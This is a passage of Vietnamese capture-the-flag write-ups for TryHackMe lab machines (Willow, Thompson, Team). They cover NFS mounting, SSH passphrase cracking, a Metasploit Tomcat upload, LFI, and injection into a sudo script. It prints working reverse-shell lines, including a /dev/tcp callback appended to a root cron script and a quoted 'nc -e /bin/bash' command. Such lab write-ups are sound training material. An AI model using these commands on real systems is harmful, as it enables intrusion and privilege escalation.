cuối cùng và dán nó vào CyberChef
Ở đây tôi đã có 1 cái tên, có thể dùng nó làm username, và với gợi ý về ssh key thì rất có thể đoạn số phía sau là ssh key đã mã hóa.
Tiếp tục dán đoạn còn lại vào đây để thử generate
SSH key này không thể dùng được, nên tôi sẽ để lại đó. Quay lại với port 111 và 2049. Tìm exploit nfs với port 2049 và 111, tôi tìm được cách khai thác bằng Nmap ở đây
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ showmount - e 10.10 . 81.195
Export list for 10.10 . 81.195 :
/ var / failsafe *
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ mkdir / tmp / nfs
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ sudo mount - o nolock - t nfs 10.10 . 81.195 : / / tmp / nfs
[ sudo ] password for neo :
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ ll / tmp / nfs
total 4
drwxr - xr - x 14 root root 4096 Jan 30 2020 var
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ ll / tmp / nfs / var / failsafe
total 4
- rw - r -- r -- 1 root root 62 Jan 30 2020 rsa_keys
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ cat / tmp / nfs / var / failsafe / rsa_keys
Public Key Pair : ( 23 , 37627 )
Private Key Pair : ( 61527 , 37627 )
┌── ( neo ㉿ kali ) - [ ~ ]
└─$
Có lẽ đây là 1 phương pháp toán học hay thuật toán nào đó để tính ra ssh key, tôi chưa từng biết đến dạng này. Và thú thực thì tôi đã phải lướt qua giải đáp 1 chút để tìm được phương pháp giải các số này. Đó là RSA Express Encryption/Decryption Calculator
Vậy là tôi có
e = 23
d = 61527
N = 37627
Ciphertext là phần RSA key tôi đã generate được ở phần phía trên
Nhưng Ciphertext ở đây yêu cầu phải là numberic form nên tôi sẽ dùng CyberChef
thêm 1 lần nữa để
Sao chép key này về và login ssh.
SSH
┌── ( neo ㉿ kali ) - [ ~/ THM - willow ]
└─$ ssh - i id_rsa willow @ 10.10 . 81.195
Load key "id_rsa" : Permission denied
willow @ 10.10 . 81.195 's password:
Permission denied, please try again.
willow@10.10.81.195' s password :
Permission denied , please try again .
willow @ 10.10 . 81.195 's password:
willow@10.10.81.195: Permission denied (publickey,password,hostbased).
┌──(neo㉿kali)-[~/THM-willow]
└─$
Có vẻ như key này được bảo vệ bởi passphrase. Tôi sẽ thử crack nó
┌── ( neo ㉿ kali ) - [ ~/ THM - willow ]
└─$ ssh2john id_rsa > hash
┌── ( neo ㉿ kali ) - [ ~/ THM - willow ]
└─$ john hash -- wordlist =/ usr / share / seclists / Passwords / Leaked - Databases / rockyou - 75. txt
Note : This format may emit false positives , so it will keep trying even after finding a
possible candidate .
Using default input encoding : UTF - 8
Loaded 1 password hash ( SSH [ RSA / DSA / EC / OPENSSH ( SSH private keys ) 32 / 64 ])
Cost 1 ( KDF / cipher [ 0 = MD5 / AES 1 = MD5 / 3 DES 2 = Bcrypt / AES ]) is 0 for all loaded hashes
Cost 2 ( iteration count ) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl - C to abort , almost any other key for status
wildflower ( id_rsa )
Thử login lại với pass này
┌── ( neo ㉿ kali ) - [ ~/ THM - willow ]
└─$ sudo ssh - o 'PubkeyAcceptedKeyTypes +ssh-rsa' - i id_rsa willow @ 10.10 . 81.195
Enter passphrase for key 'id_rsa' :
"O take me in your arms, love
For keen doth the wind blow
O take me in your arms, love
For bitter is my deep woe."
- The Willow Tree , English Folksong
willow @ willow - tree : ~ $ id
uid = 1000 ( willow ) gid = 1000 ( willow ) groups = 1000 ( willow ), 24 ( cdrom ), 25 ( floppy ), 29 ( audio ), 30 ( dip ), 44 ( video ), 46 ( plugdev ), 108 ( netdev ), 110 ( lpadmin ), 113 ( scanner ), 119 ( bluetooth )
willow @ willow - tree : ~ $
Bên trong này có 1 file user.jpg , nội dung ảnh này chính là user flag
Privilege escalation
willow @ willow - tree : ~ $ find / - type f - perm - u = s 2 >/ dev / null
/ usr / lib / eject / dmcrypt - get - device
/ usr / lib / openssh / ssh - keysign
/ usr / lib / dbus - 1.0 / dbus - daemon - launch - helper
/ usr / lib / policykit - 1 / polkit - agent - helper - 1
/ usr / lib / spice - gtk / spice - client - glib - usb - acl - helper
/ usr / lib / pt_chown
/ usr / sbin / exim4
/ usr / sbin / pppd
/ usr / bin / chfn
/ usr / bin / vmware - user - suid - wrapper
/ usr / bin / pkexec
/ usr / bin / gpasswd
/ usr / bin / X
/ usr / bin / procmail
/ usr / bin / newgrp
/ usr / bin / sudo
/ usr / bin / passwd
/ usr / bin / at
/ usr / bin / chsh
/ sbin / mount . nfs
/ bin / su
/ bin / ntfs - 3 g
/ bin / umount
/ bin / fusermount
/ bin / mount
willow @ willow - tree : ~ $
willow @ willow - tree : ~ $ sudo - l
Matching Defaults entries for willow on willow - tree :
env_reset , mail_badpass , secure_path =/ usr / local / sbin \: / usr / local / bin \: / usr / sbin \: / usr / bin \: / sbin \: / bin
User willow may run the following commands on willow - tree :
( ALL : ALL ) NOPASSWD : / bin / mount / dev /*
willow @ willow - tree : ~ $
Xem qua thư mục /dev/ tồi tìm thấy hidden_backup nhưng không có quyền để xem file này. Tuy nhiên tôi có thể ‘mount’ nó sang 1 thư mục khác với quyền của user willow
willow @ willow - tree : ~ $ mkdir backup
willow @ willow - tree : ~ $ sudo mount / dev / hidden_backup backup
willow @ willow - tree : ~ $ ls - la backup /
total 6
drwxr - xr - x 2 root root 1024 Jan 30 2020 .
drwxr - xr - x 17 willow willow 4096 Oct 7 09 : 31 ..
- rw - r -- r -- 1 root root 42 Jan 30 2020 creds . txt
willow @ willow - tree : ~ $ cat backup / creds . txt
root : 7 QvbvBTvwPspUK
willow : U0ZZJLGYhNAT2s
willow @ willow - tree : ~ $ su root
Password :
root @ willow - tree : / home / willow #
root @ willow - tree : / home / willow # cd
root @ willow - tree : ~ # ls -la
total 36
drwx ------ 5 root root 4096 Jan 30 2020 .
drwxr - xr - x 23 root root 4096 Jan 30 2020 ..
lrwxrwxrwx 1 root root 9 Jan 30 2020 . bash_history -> / dev / null
- rw - r -- r -- 1 root root 570 Jan 31 2010 . bashrc
drwx ------ 3 root root 4096 Jan 30 2020 . config
drwxr - xr - x 3 root root 4096 Jan 30 2020 . local
- rw - r -- r -- 1 root root 140 Nov 19 2007 . profile
- rw - r -- r -- 1 root root 139 Jan 30 2020 root . txt
- rw - r -- r -- 1 root root 74 Jan 30 2020 . selected_editor
drwx ------ 2 root root 4096 Mar 1 2020 . ssh
root @ willow - tree : ~ # cat root.txt
This would be too easy , don 't you think? I actually gave you the root flag some time ago.
You' ve got my password now -- go find your flag !
root @ willow - tree : ~ #
Tôi đã mất nửa tiếng đồng hồ để rà soát lại xem mình có bỏ qua thứ gì đặc biệt không, và rồi đến phần user flag , tôi nhận ra là tại sao nó lại là file ảnh mà không phải file txt như thông thường, thêm nữa là trong gợi ý phía trên 1 lần nữa nhắc đến password của user root , vậy thì có thể đây là passphrase cho file ảnh
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ steghide extract - sf user . jpg
Enter passphrase :
wrote extracted data to "root.txt" .
┌── ( neo ㉿ kali ) - [ ~ ]
└─$
Reconnaissance
Privilege escalation
Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Thompson
Reconnaissance
Vẫn như thông thường, việc đầu cần làm quét các cổng đang mở trên máy chủ mục tiêu.
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 7.2 p2 Ubuntu 4 ubuntu2 . 8 ( Ubuntu Linux ; protocol 2.0 )
| ssh - hostkey :
| 2048 fc : 05 : 24 : 81 : 98 : 7 e : b8 : db : 05 : 92 : a6 : e7 : 8 e : b0 : 21 : 11 ( RSA )
| 256 60 : c8 : 40 : ab : b0 : 09 : 84 : 3 d : 46 : 64 : 61 : 13 : fa : bc : 1 f : be ( ECDSA )
| _ 256 b5 : 52 : 7 e : 9 c : 01 : 9 b : 98 : 0 c : 73 : 59 : 20 : 35 : ee : 23 : f1 : a5 ( ED25519 )
8009 / tcp open ajp13 Apache Jserv ( Protocol v1 . 3 )
| _ajp - methods : Failed to get a valid response for the OPTION request
8080 / tcp open http Apache Tomcat 8.5 . 5
| _http - favicon : Apache Tomcat
| _http - title : Apache Tomcat / 8.5 . 5
Service Info : OS : Linux ; CPE : cpe : / o : linux : linux_kernel
Với Apache Tomcat 8.5.5 tôi thử tìm exploit và ra được 2 kết quả
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ searchsploit tomcat 8.5 . 5
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat < 9.0 . 1 ( Beta ) / < 8.5 . 23 / < 8.0 . 47 / < 7.0 . 8 - JSP Upload Bypass / Remote Code Execution ( 1 ) | windows / webapps / 42953. txt
Apache Tomcat < 9.0 . 1 ( Beta ) / < 8.5 . 23 / < 8.0 . 47 / < 7.0 . 8 - JSP Upload Bypass / Remote Code Execution ( 2 ) | jsp / webapps / 42966. py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes : No Results
┌── ( neo ㉿ kali ) - [ ~ ]
└─$
Tuy nhiên khi thử khai thác 2 exploit này tôi không thu được kết quả gì khả quan. Tạm thời tôi sẽ để nó lại. Với port 8009, tôi nhớ nó có liên quan đến Ghostcat nên đã tìm lại lỗ hổng liên quan đến nó.
Thử dùng Metasploit cũng không có kết quả do phải có username và password. Tôi sẽ quay về với cách sơ khai nhất là tìm path với dirsearch
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ dirsearch - u 10.10 . 222.69 : 8080
_ | . _ _ _ _ _ _ | _ v0 . 4.2
( _ ||| _ ) ( / _ ( _ || ( _ | )
Extensions : php , aspx , jsp , html , js | HTTP method : GET | Threads : 30 | Wordlist size : 10927
Output File : / home / neo / . dirsearch / reports / 8080_22 - 09 - 26_03 - 55 - 39. txt
Error Log : / home / neo / . dirsearch / logs / errors - 22 - 09 - 26_03 - 55 - 39. log
Target : http : // 10.10 . 222.69 : 8080 /
[ 03 : 55 : 39 ] Starting :
[ 03 : 56 : 07 ] 400 - 0 B - / \.. \.. \.. \.. \.. \.. \.. \.. \.. \etc \passwd
[ 03 : 56 : 09 ] 400 - 0 B - / a % 5 c . aspx
[ 03 : 56 : 35 ] 200 - 3 KB - / build . xml
[ 03 : 56 : 46 ] 302 - 0 B - / docs -> / docs /
[ 03 : 56 : 47 ] 200 - 16 KB - / docs /
[ 03 : 56 : 51 ] 302 - 0 B - / examples -> / examples /
[ 03 : 56 : 51 ] 200 - 1 KB - / examples /
[ 03 : 56 : 51 ] 200 - 6 KB - / examples / servlets / index . html
[ 03 : 56 : 51 ] 200 - 658 B - / examples / servlets / servlet / CookieExample
[ 03 : 56 : 51 ] 200 - 946 B - / examples / servlets / servlet / RequestHeaderExample
[ 03 : 56 : 52 ] 200 - 673 B - / examples / jsp / snp / snoop . jsp
[ 03 : 56 : 53 ] 200 - 21 KB - / favicon . ico
[ 03 : 56 : 57 ] 302 - 0 B - / host - manager / -> / host - manager / html
[ 03 : 56 : 57 ] 401 - 2 KB - / host - manager / html
[ 03 : 57 : 00 ] 200 - 11 KB - / index . jsp
[ 03 : 57 : 09 ] 302 - 0 B - / manager -> / manager /
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / status / all
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / html
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? qry = STUFF
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / html /
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? get = java . lang : type = Memory & att = HeapMemoryUsage
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? get = BEANNAME & att = MYATTRIBUTE & key = MYKEY
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? get = java . lang : type = Memory & att = HeapMemoryUsage & key = used
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? set = Catalina % 3 Atype % 3 DValve % 2 Cname % 3 DErrorReportValve % 2 Chost % 3 Dlocalhost & att = debug & val = cow
[ 03 : 57 : 10 ] 302 - 0 B - / manager / -> / manager / html
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? set = BEANNAME & att = MYATTRIBUTE & val = NEWVALUE
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? invoke = Catalina % 3 Atype % 3 DService & op = findConnectors & ps =
[ 03 : 57 : 10 ] 401 - 2 KB - / manager / jmxproxy / ? invoke = BEANNAME & op = METHODNAME & ps = COMMASEPARATEDPARAMETERS
Task Completed
┌── ( neo ㉿ kali ) - [ ~ ]
└─$
Truy cập vào /manager/html thì tôi phải login mới có thể xem được file này
Dùng BurpSuite để bắt request
Vậy là tôi có uername và password. Quay trở lại Metasploit, hướng dẫn setup ở đây
msf6 exploit ( multi / http / tomcat_mgr_upload ) > show options
Module options ( exploit / multi / http / tomcat_mgr_upload ):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword s3cret no The password for the specified username
HttpUsername tomcat no The username to authenticate as
Proxies no A proxy chain of format type : host : port [, type : host : port ][...]
RHOSTS 10.10 . 222.69 yes The target host ( s ), see https : // github . com / rapid7 / metasploit - framework / wiki / Using - Metasploit
RPORT 8080 yes The target port ( TCP )
SSL false no Negotiate SSL / TLS for outgoing connections
TARGETURI / manager yes The URI path of the manager app ( / html / upload and / undeploy will be used )
VHOST no HTTP server virtual host
Payload options ( java / shell_reverse_tcp ):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.18 . 3.74 yes The listen address ( an interface may be specified )
LPORT 4444 yes The listen port
Exploit target :
Id Name
-- ----
0 Java Universal
msf6 exploit ( multi / http / tomcat_mgr_upload ) > run
[ * ] Started reverse TCP handler on 10.18 . 3.74 : 4444
[ * ] Retrieving session ID and CSRF token ...
[ * ] Uploading and deploying MOqDtqfxEsxNGo ...
[ * ] Executing MOqDtqfxEsxNGo ...
[ * ] Undeploying MOqDtqfxEsxNGo ...
[ * ] Undeployed at / manager / html / undeploy
[ * ] Command shell session 1 opened ( 10.18 . 3.74 : 4444 -> 10.10 . 222.69 : 55106 ) at 2022 - 09 - 26 05 : 26 : 05 - 0400
id
uid = 1001 ( tomcat ) gid = 1001 ( tomcat ) groups = 1001 ( tomcat )
python3 - c 'import pty;pty.spawn("/bin/bash")'
tomcat @ ubuntu : / $
Tôi tìm thấy user.txt trong /home/jack
Privilege escalation
Trong thư mục jack còn 2 file nữa là id.sh và test.txt .
tomcat @ ubuntu : / home / jack $ cat test . txt
cat test . txt
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root )
tomcat @ ubuntu : / home / jack $ cat id . sh
cat id . sh
#!/bin/bash
id > test . txt
tomcat @ ubuntu : / home / jack $
Khi chạy id.sh nó sẽ in kết quả ra test.txt . Kiểm tra crontab
tomcat @ ubuntu : ~ $ cat / etc / crontab
cat / etc / crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL =/ bin / sh
PATH =/ usr / local / sbin : / usr / local / bin : / sbin : / bin : / usr / sbin : / usr / bin
# m h dom mon dow user command
17 * * * * root cd / && run - parts -- report / etc / cron . hourly
25 6 * * * root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . daily )
47 6 * * 7 root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . weekly )
52 6 1 * * root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . monthly )
* * * * * root cd / home / jack && bash id . sh
#
tomcat @ ubuntu : ~ $
File id.sh sẽ tự động thực thi, việc của tôi là thêm payload vào file này và chờ hệ thống thực thi. Nhưng trước đó thì tôi phải tạo listener với port 2402 đã nc -lnvp 2402
tomcat @ ubuntu : / home / jack $ echo '/bin/bash -i >& /dev/tcp/10.18.3.74/2402 0>&1' >> id . sh
< cho '/bin/bash -i >& /dev/tcp/10.18.3.74/2402 0>&1' >> id . sh
tomcat @ ubuntu : / home / jack $ cat id . sh
cat id . sh
#!/bin/bash
id > test . txt
bash - i >& / dev / tcp / 10.18 . 3.74 / 2402 0 >& 1
tomcat @ ubuntu : / home / jack $
Quay lại listener
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ nc - lnvp 2402
listening on [ any ] 2402 ...
connect to [ 10.18 . 3.74 ] from ( UNKNOWN ) [ 10.10 . 222.69 ] 35900
bash : cannot set terminal process group ( 1998 ): Inappropriate ioctl for device
bash : no job control in this shell
root @ ubuntu : / home / jack # id
id
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root )
root @ ubuntu : / home / jack # ls /root
ls / root
root . txt
root @ ubuntu : / home / jack #
Reconnaissance
Privilege escalation
Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Team
Reconnaissance
Đầu tiên, như thường lệ, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.
PORT STATE SERVICE VERSION
21 / tcp open ftp vsftpd 3.0 . 3
22 / tcp open ssh OpenSSH 7.6 p1 Ubuntu 4 ubuntu0 . 3 ( Ubuntu Linux ; protocol 2.0 )
| ssh - hostkey :
| 2048 79 : 5 f : 11 : 6 a : 85 : c2 : 08 : 24 : 30 : 6 c : d4 : 88 : 74 : 1 b : 79 : 4 d ( RSA )
| 256 af : 7 e : 3 f : 7 e : b4 : 86 : 58 : 83 : f1 : f6 : a2 : 54 : a6 : 9 b : ba : ad ( ECDSA )
| _ 256 26 : 25 : b0 : 7 b : dc : 3 f : b2 : 94 : 37 : 12 : 5 d : cd : 06 : 98 : c7 : 9 f ( ED25519 )
80 / tcp open http Apache httpd 2.4 . 29 (( Ubuntu ))
| _http - title : Apache2 Ubuntu Default Page : It works ! If you see this add 'te...
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Tôi thử truy cập ftp với anonymous nhưng không thể, vậy nên tôi sẽ bắt đầu kiểm tra web.
Với port 80 tôi có 1 default page của apache, thử check qua source web
Tôi phải thêm domain vào /etc/hosts , sau đó truy cập team.thm
Đây là 1 trang blog về ảnh, kiểm tra source web thì cũng không gì đặc biệt lắm. Khi tôi thử qua các path đơn giản, trong robots.txt chỉ có 1 chữ ‘dale’, có thể đây là 1 cái tên chăng?
Thử dùng dirsearch để tìm xem có path ẩn nào không
[ 04 : 06 : 01 ] Starting :
[ 04 : 06 : 10 ] 403 - 273 B - / . ht_wsr . txt
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess . bak1
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess . sample
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess . orig
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess . save
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess_extra
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess_orig
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccess_sc
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccessOLD
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccessBAK
[ 04 : 06 : 10 ] 403 - 273 B - / . htaccessOLD2
[ 04 : 06 : 10 ] 403 - 273 B - / . html
[ 04 : 06 : 10 ] 403 - 273 B - / . htm
[ 04 : 06 : 10 ] 403 - 273 B - / . htpasswd_test
[ 04 : 06 : 10 ] 403 - 273 B - / . htpasswds
[ 04 : 06 : 10 ] 403 - 273 B - / . httr - oauth
[ 04 : 06 : 13 ] 403 - 273 B - / . php
[ 04 : 06 : 46 ] 301 - 305 B - / assets -> http : // team . thm / assets /
[ 04 : 06 : 46 ] 403 - 273 B - / assets /
[ 04 : 07 : 08 ] 200 - 755 B - / images /
[ 04 : 07 : 08 ] 301 - 305 B - / images -> http : // team . thm / images /
[ 04 : 07 : 09 ] 200 - 3 KB - / index . html
[ 04 : 07 : 33 ] 200 - 5 B - / robots . txt
[ 04 : 07 : 34 ] 301 - 306 B - / scripts -> http : // team . thm / scripts /
[ 04 : 07 : 34 ] 403 - 273 B - / scripts /
[ 04 : 07 : 35 ] 403 - 273 B - / server - status
[ 04 : 07 : 35 ] 403 - 273 B - / server - status /
Khi thử truy cập vào /assets và /scripts đều ra lỗi 403 - không có quyền truy cập, có nghĩa là tôi không có quyền truy cập vào path này để xem bên trong có những file gì, nhưng nếu tôi có thể tìm đúng tên file trong này thì tôi vẫn có thể xem được nội dung của nó.
Thử dùng dirsearch 1 lần nữa và thêm path cũng như đuôi file, nhưng tôi không hiểu vì sao dùng dirseach thì không ra gì mà dùng gobuster thì sẽ ra file script.txt
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ gobuster dir - u http : // team . thm / scripts / - w / usr / share / wordlists / dirb / common . txt - x php , txt - t 100
===============================================================
Gobuster v3 . 1.0
by OJ Reeves ( @ TheColonial ) & Christian Mehlmauer ( @ firefart )
===============================================================
[ + ] Url : http : // team . thm / scripts /
[ + ] Method : GET
[ + ] Threads : 100
[ + ] Wordlist : / usr / share / wordlists / dirb / common . txt
[ + ] Negative Status codes : 404
[ + ] User Agent : gobuster / 3.1 . 0
[ + ] Extensions : php , txt
[ + ] Timeout : 10 s
===============================================================
2022 / 09 / 25 04 : 50 : 31 Starting gobuster in directory enumeration mode
===============================================================
/ . hta ( Status : 403 ) [ Size : 273 ]
/ . htaccess . php ( Status : 403 ) [ Size : 273 ]
/ . hta . php ( Status : 403 ) [ Size : 273 ]
/ . htaccess . txt ( Status : 403 ) [ Size : 273 ]
/ . hta . txt ( Status : 403 ) [ Size : 273 ]
/ . htaccess ( Status : 403 ) [ Size : 273 ]
/ . htpasswd ( Status : 403 ) [ Size : 273 ]
/ . htpasswd . php ( Status : 403 ) [ Size : 273 ]
/ . htpasswd . txt ( Status : 403 ) [ Size : 273 ]
/ script . txt ( Status : 200 ) [ Size : 597 ]
Truy cập thử vào file này
#!/bin/bash
read - p "Enter Username: " REDACTED
read - sp "Enter Username Password: " REDACTED
echo
ftp_server = "localhost"
ftp_username = "$Username"
ftp_password = "$Password"
mkdir / home / username / linux / source_folder
source_folder = "/home/username/source_folder/"
cp - avr config * $ source_folder
dest_folder = "/home/username/linux/dest_folder/"
ftp - in $ ftp_server << END_SCRIPT
quote USER $ ftp_username
quote PASS $ decrypt
cd $ source_folder
! cd $ dest_folder
mget - R *
quit
# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
Đây là 1 file backup đăng nhập ftp server, tôi để ý dòng cuối cùng có nói rằng phải thay đổi đuôi của file script cũ vì file này có chứa thông tin truy cập, vậy là file script cũ sẽ có tên là script và đuôi cũ???
Và đúng là đuôi cũ thật khi tôi thử /script.old và nó ra kết quả
#!/bin/bash
read - p "Enter Username: " ftpuser
read - sp "Enter Username Password: " T3 @ m $ h @ r3
echo
ftp_server = "localhost"
ftp_username = "$Username"
ftp_password = "$Password"
mkdir / home / username / linux / source_folder
source_folder = "/home/username/source_folder/"
cp - avr config * $ source_folder
dest_folder = "/home/username/linux/dest_folder/"
ftp - in $ ftp_server << END_SCRIPT
quote USER $ ftp_username
quote PASS $ decrypt
cd $ source_folder
! cd $ dest_folder
mget - R *
quit
Thử truy cập vào ftp server
ftp > ls
200 EPRT command successful . Consider using EPSV .
150 Here comes the directory listing .
drwxrwxr - x 2 65534 65534 4096 Jan 15 2021 workshare
ftp > cd workshare
250 Directory successfully changed .
ftp > ls - a
200 PORT command successful . Consider using PASV .
150 Here comes the directory listing .
drwxrwxr - x 2 65534 65534 4096 Jan 15 21 : 25 .
drwxr - xr - x 5 65534 65534 4096 Jan 15 21 : 25 ..
- rwxr - xr - x 1 1002 1002 269 Jan 15 21 : 24 New_site . txt
226 Directory send OK .
ftp > get New_site . txt -
remote : New_site . txt
200 PORT command successful . Consider using PASV .
150 Opening BINARY mode data connection for New_site . txt ( 269 bytes ).
New_site.txt
Dale
I have started coding a new website in PHP for the team to use , this is currently under development . It can be found at ".dev" within our domain .
Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file .
Gyles
Tôi sẽ thử thêm subdomain “dev” vào file hosts và truy cập lại và dev.team.thmm
Thử ấn vào link và tôi được chuyển sang 1 trang khác
Nhìn vào url thì tôi nghĩ ngay đến PHP LFI. Mở Burpsuite để bắt request và thay đổi teamshare.php thành file muốn mở
Với file passwd tôi có 2 user ở đây là dale và gyles . Thực ra thì nếu để tìm user flag với lỗ hổng này, tôi có thể thử các path để xem file user.txt nằm ở đâu và xem được nội dung của nó. Tuy nhiên với mục đích có thể leo thực thi RCE và leo thang đặc quyền thì tôi sẽ thử cách khác.
Quay lại với file txt mà tôi có phía trên, tôi có 1 key ssh bên trong file config nào đó. Thường thì trong /etc/ của Ubuntu sẽ có tệp ssh chứa file config, nên tôi sẽ thử cầu may 1 chút xem có file này trong máy chủ mục tiêu hay không, thêm nữa đây là 1 machine mức Easy nên tôi nghĩ sẽ không có quá nhiều thay đổi với các file đã có sẵn
Đúng như tôi nghĩ, bản copy của id_rsa nằm trong này. Sao chép nó về, xáo các dấu # và thử login ssh bằng key này
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ ssh - i id_rsa dale @ 10.10 . 133.54
The authenticity of host '10.10.133.54 (10.10.133.54)' can 't be established.
ED25519 key fingerprint is SHA256:33en2c6AmAEzI4zDeUH4EyLRpyzjrXxptkcSHBnTVbA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ' 10.10 . 133.54 ' (ED25519) to the list of known hosts.
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)
dale@TEAM:~$
dale@TEAM:~$ ls
user.txt
dale@TEAM:~$
Privilege escalation
sudo -l
dale @ TEAM : ~ $ sudo - l
Matching Defaults entries for dale on TEAM :
env_reset , mail_badpass , secure_path =/ usr / local / sbin \: / usr / local / bin \: / usr / sbin \: / usr / bin \: / sbin \: / bin \: / snap / bin
User dale may run the following commands on TEAM :
( gyles ) NOPASSWD : / home / gyles / admin_checks
dale @ TEAM : ~ $
Check qua file admin_checks thì đây là 1 file script
dale @ TEAM : ~ $ cd / home / gyles /
dale @ TEAM : / home / gyles $ cat admin_checks
#!/bin/bash
printf "Reading stats. \n "
sleep 1
printf "Reading stats.. \n "
sleep 1
read - p "Enter name of person backing up the data: " name
echo $ name >> / var / stats / stats . txt
read - p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$ error 2 >/ dev / null
date_save = $ ( date "+%F-%H-%M" )
cp / var / stats / stats . txt / var / stats / stats - $ date_save . bak
printf "Stats have been backed up \n "
dale @ TEAM : / home / gyles $
Khi nhập trường $name, nó sẽ ghi vào file stats.txt , còn nhập trường $date thì nó sẽ ghi vào biến ‘error’ và thực thi nó error 2>/dev/null
dale @ TEAM : / home / gyles $ sudo - u gyles / home / gyles / admin_checks
Reading stats .
Reading stats ..
Enter name of person backing up the data : hihi
Enter 'date' to timestamp the file :
The Date is Stats have been backed up
dale @ TEAM : / home / gyles $ cat / var / stats / stats . txt
Website_views = 1337
Unique_views = 436
Disc_members = 16
Events_won = 1
anon
anon
anon
anon
anon
anon
anon
anon
anon
hihi
dale @ TEAM : / home / gyles $
Thay vì nhập ngày tháng thì tôi sẽ nhập 1 injection đơn giản
dale @ TEAM : ~ $ sudo - u gyles / home / gyles / admin_checks
Reading stats .
Reading stats ..
Enter name of person backing up the data : gyles
Enter 'date' to timestamp the file : / bin / bash - i
The Date is uid = 1001 ( gyles ) gid = 1001 ( gyles ) groups = 1001 ( gyles ), 1003 ( editors ), 1004 ( admin )
gyles
Khi nhập command thì nó sẽ hiện kết quả chứ không hiện dữ liệu tôi nhập vào, config lại shell với python: python3 -c 'import pty;pty.spawn("/bin/bash")'
gyles @ TEAM : ~ $ ls
user . txt
gyles @ TEAM : ~ $ pwd
/ home / dale
gyles @ TEAM : ~ $ cd / home / gyles
gyles @ TEAM : ~ $
gyles @ TEAM : / home / gyles $ ls - la
total 48
drwxr - xr - x 6 gyles gyles 4096 Jan 17 2021 .
drwxr - xr - x 5 root root 4096 Jan 15 2021 ..
- rwxr -- r -- 1 gyles editors 399 Jan 15 2021 admin_checks
- rw ------- 1 gyles gyles 5639 Jan 17 2021 . bash_history
- rw - r -- r -- 1 gyles gyles 220 Apr 4 2018 . bash_logout
- rw - r -- r -- 1 gyles gyles 3771 Apr 4 2018 . bashrc
drwx ------ 2 gyles gyles 4096 Jan 15 2021 . cache
drwx ------ 3 gyles gyles 4096 Jan 15 2021 . gnupg
drwxrwxr - x 3 gyles gyles 4096 Jan 15 2021 . local
- rw - r -- r -- 1 gyles gyles 807 Apr 4 2018 . profile
drwx ------ 2 gyles gyles 4096 Jan 15 2021 . ssh
- rw - r -- r -- 1 gyles gyles 0 Jan 17 2021 . sudo_as_admin_successful
Thử xem file .bash_history vì tôi thấy dung lượng của nó khá lớn. Phân tích qua file này thì tôi để ý thấy có 1 thư mục mà user này sử dụng để thực hiện netcat
trên quyền root
su root
cd / opt / admin_stuff /
ls - la
id
clear
. / nc - e / bin / bash 192.168 . 88.128 4444
ls - la
sudo chmod g + s nc
ls
ls - la
. / nc - e / bin / bash 192.168 . 88.128 4444
ls - la
cat / etc / crontab
php
which php
ls - la
